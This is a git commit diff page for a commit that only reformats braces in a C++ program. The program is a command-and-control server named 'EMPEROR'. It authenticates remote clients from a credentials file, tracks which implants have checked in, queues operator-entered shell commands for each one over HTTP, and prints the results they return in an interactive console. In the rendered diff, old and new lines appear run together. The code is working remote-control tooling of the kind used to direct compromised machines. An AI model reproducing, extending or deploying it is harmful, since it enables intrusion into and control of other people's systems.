Modified formatting

This commit is contained in:
elimin8 2021-12-11 20:39:36 +00:00
parent 6994cdb34e
commit 69be95f16d
No known key found for this signature in database
GPG Key ID: 0B92E083BBCCAA1E
1 changed files with 74 additions and 37 deletions

View File

@ -24,32 +24,38 @@ std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
std::string sUsername = ""; std::string sUsername = "";
std::string sPassword = ""; std::string sPassword = "";
while (true) { while (true)
{
fCreds >> ch; fCreds >> ch;
if (fCreds.eof()) { if (fCreds.eof())
{
sPasswords.push_back(sPassword); sPasswords.push_back(sPassword);
break; break;
} }
if (ch == ':') { if (ch == ':')
{
bUsername = false; bUsername = false;
fCreds >> ch; fCreds >> ch;
sUsernames.push_back(sUsername); sUsernames.push_back(sUsername);
sUsername = ""; sUsername = "";
} }
if (ch == '\n') { if (ch == '\n')
{
bUsername = true; bUsername = true;
fCreds >> ch; fCreds >> ch;
sPasswords.push_back(sPassword); sPasswords.push_back(sPassword);
sPassword = ""; sPassword = "";
} }
if (bUsername) { if (bUsername)
{
sUsername += ch; sUsername += ch;
} }
else { else
{
sPassword += ch; sPassword += ch;
} }
} }
@ -64,7 +70,8 @@ std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");
std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds) std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
{ {
std::map<std::string, bool> mConnections; std::map<std::string, bool> mConnections;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
mConnections[sCreds[0][iUsernameIndex]] = false; mConnections[sCreds[0][iUsernameIndex]] = false;
} }
return mConnections; return mConnections;
@ -73,7 +80,8 @@ std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::
std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds) std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
{ {
std::map<std::string, std::string> mComms; std::map<std::string, std::string> mComms;
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
mComms[sCreds[0][iUsernameIndex]] = ""; mComms[sCreds[0][iUsernameIndex]] = "";
} }
return mComms; return mComms;
@ -86,8 +94,10 @@ std::map<std::string, std::string> mResults = defaultUserComms(sCreds);
std::string listUserConnections(std::map<std::string, bool> mConnections) std::string listUserConnections(std::map<std::string, bool> mConnections)
{ {
std::ostringstream oss; std::ostringstream oss;
for (auto const &[key, val] : mConnections) { for (auto const &[key, val] : mConnections)
if (val == true) { {
if (val == true)
{
oss << key << " is active.\n"; oss << key << " is active.\n";
} }
} }
@ -97,14 +107,19 @@ std::string listUserConnections(std::map<std::string, bool> mConnections)
std::map<std::string, bool> mConnections = defaultUserConnections(sCreds); std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);
class command_and_control : public httpserver::http_resource { class command_and_control : public httpserver::http_resource
{
public: public:
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword) bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
{ {
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) { for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
if (sCreds[0][iUsernameIndex] == sUsername) { {
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) { if (sCreds[0][iUsernameIndex] == sUsername)
if (sCreds[1][iPasswordIndex] == sPassword) { {
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
{
if (sCreds[1][iPasswordIndex] == sPassword)
{
return true; return true;
} }
} }
@ -115,9 +130,12 @@ class command_and_control : public httpserver::http_resource {
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req) const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
{ {
if (verifycreds(sCreds, req.get_user(), req.get_pass())) { if (verifycreds(sCreds, req.get_user(), req.get_pass()))
if (req.get_method() == "POST") { {
if (req.get_arg("msg") == "ready") { if (req.get_method() == "POST")
{
if (req.get_arg("msg") == "ready")
{
std::ostringstream oss; std::ostringstream oss;
oss << "user=" << req.get_user() << "&msg=acknowledged"; oss << "user=" << req.get_user() << "&msg=acknowledged";
std::string sResponse = oss.str(); std::string sResponse = oss.str();
@ -126,17 +144,21 @@ class command_and_control : public httpserver::http_resource {
mConnections[req.get_user()] = true; mConnections[req.get_user()] = true;
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse)); return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
} }
if (req.get_arg("msg") == "reqcmd") { if (req.get_arg("msg") == "reqcmd")
if (mCommands[req.get_user()] != "") { {
if (mCommands[req.get_user()] != "")
{
std::ostringstream oss; std::ostringstream oss;
oss << "run=" << mCommands[req.get_user()]; oss << "run=" << mCommands[req.get_user()];
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
} }
else { else
{
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd")); return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
} }
} }
if (req.get_arg("result") != "") { if (req.get_arg("result") != "")
{
mCommands[req.get_user()] = ""; mCommands[req.get_user()] = "";
mResults[req.get_user()] = req.get_arg("result"); mResults[req.get_user()] = req.get_arg("result");
std::ostringstream oss; std::ostringstream oss;
@ -152,8 +174,10 @@ class command_and_control : public httpserver::http_resource {
void checkConnections() void checkConnections()
{ {
while (!bShutdown) { while (!bShutdown)
if (bIncomingHey) { {
if (bIncomingHey)
{
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
bIncomingHey = false; bIncomingHey = false;
sIncomingHeyUser = ""; sIncomingHeyUser = "";
@ -165,16 +189,19 @@ void interactConnection(std::string sIdentifier)
{ {
std::string sCommand; std::string sCommand;
std::cout << "Starting interaction with " << sIdentifier << std::endl; std::cout << "Starting interaction with " << sIdentifier << std::endl;
while (true) { while (true)
{
std::cout << "[EMPEROR - " << sIdentifier << "]>"; std::cout << "[EMPEROR - " << sIdentifier << "]>";
std::getline(std::cin, sCommand); std::getline(std::cin, sCommand);
if (sCommand == ":q") { if (sCommand == ":q")
{
break; break;
} }
mCommands[sIdentifier] = sCommand; mCommands[sIdentifier] = sCommand;
std::cout << "Command sent, awaiting response..." << std::endl; std::cout << "Command sent, awaiting response..." << std::endl;
while (mResults[sIdentifier].empty()) { while (mResults[sIdentifier].empty())
{
continue; continue;
} }
std::cout << "Result: " << mResults[sIdentifier] << std::endl; std::cout << "Result: " << mResults[sIdentifier] << std::endl;
@ -213,39 +240,49 @@ void prompt()
<< std::endl; << std::endl;
std::cout << "=========================================" << std::endl; std::cout << "=========================================" << std::endl;
std::string sCommand; std::string sCommand;
while (true) { while (true)
{
std::cout << "[EMPEROR]>"; std::cout << "[EMPEROR]>";
std::getline(std::cin, sCommand); std::getline(std::cin, sCommand);
std::regex rConnect("connect "); std::regex rConnect("connect ");
if (sCommand == "connections") { if (sCommand == "connections")
{
std::cout << listUserConnections(mConnections); std::cout << listUserConnections(mConnections);
} }
if (std::regex_search(sCommand, rConnect)) { if (std::regex_search(sCommand, rConnect))
{
std::vector<std::string> sCommands; std::vector<std::string> sCommands;
std::string sSplit; std::string sSplit;
for (int i = 0; i < sCommand.length(); i++) { for (int i = 0; i < sCommand.length(); i++)
if (sCommand[i] == ' ') { {
if (sCommand[i] == ' ')
{
sCommands.push_back(sSplit); sCommands.push_back(sSplit);
if (sCommands.size() > 2) { if (sCommands.size() > 2)
{
break; break;
} }
sSplit = ""; sSplit = "";
} }
else { else
{
sSplit.push_back(sCommand[i]); sSplit.push_back(sCommand[i]);
if (i == (sCommand.length() - 1)) { if (i == (sCommand.length() - 1))
{
sCommands.push_back(sSplit); sCommands.push_back(sSplit);
} }
} }
} }
if (mConnections[sCommands[1]]) { if (mConnections[sCommands[1]])
{
interactConnection(sCommands[1]); interactConnection(sCommands[1]);
} }
} }
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") { if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
{
bShutdown = true; bShutdown = true;
break; break;
} }